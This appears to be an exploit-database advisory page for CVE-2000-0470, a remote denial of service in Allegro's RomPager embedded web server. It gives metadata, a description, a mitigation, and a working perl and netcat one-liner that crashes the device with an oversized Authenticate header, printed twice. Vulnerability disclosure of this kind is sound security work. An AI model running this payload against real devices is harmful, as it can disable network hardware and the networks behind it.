Allegro's RomPager Remote Denial of Service Vulnerability

vendor:

RomPager

by:

Seth Alan Woolley

7.5

CVSS

HIGH

Remote Denial of Service

119

CWE

Product Name: RomPager

Affected Version From: Unknown

Affected Version To: Unknown

Patch Exists: YES

Related CWE: CVE-2000-0470

CPE: a:allegrosoft:rompager

Metasploit: https://www.rapid7.com/db/vulnerabilities/http-rompager-cve-2000-0470/

Other Scripts: https://www.infosecmatter.com/nessus-plugin-library/?id=19304

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2000

Allegro’s RomPager Remote Denial of Service Vulnerability

Allegro's RomPager is reported prone to a remote denial of service vulnerability. If a specifically-malformed request is sent to Allegro's RomPager, it will crash, often crashing the parent device as well. In this manner, network hardware and possibly entire networks can be rendered unusable by any remote attacker using only a browser. The following example is made available by Seth Alan Woolley: $ ip_address="some.ip.add.ress" $ ping $ip_address # works the one-liner: $ perl -e 'print "GET / HTTP/1.1rnHost: '"$ip_address"'rnAuthenticate: " . 'A' x 1024 . "rnrn"' | nc "$ip_address" 80 $ ping $ip_address # doesn't work

Mitigation:

Upgrade to the latest version of Allegro's RomPager

Source

Exploit-DB raw data:

Allegro's RomPager is reported prone to a remote denial of service vulnerability.

If a specifically-malformed request is sent to Allegro's RomPager, it will crash, often crashing the parent device as well. In this manner, network hardware and possibly entire networks can be rendered unusable by any remote attacker using only a browser. 

CVE : CVE-2000-0470
BID : 1290
Other references : OSVDB:1371
Nessus ID : 19304

The following example is made available by Seth Alan Woolley:
$ ip_address="some.ip.add.ress"
$ ping $ip_address # works

the one-liner:
$ perl -e 'print "GET / HTTP/1.1\r\nHost: '"$ip_address"'\r\nAuthenticate: " . 'A' x 1024 . "\r\n\r\n"' | nc "$ip_address" 80

$ ping $ip_address # doesn't work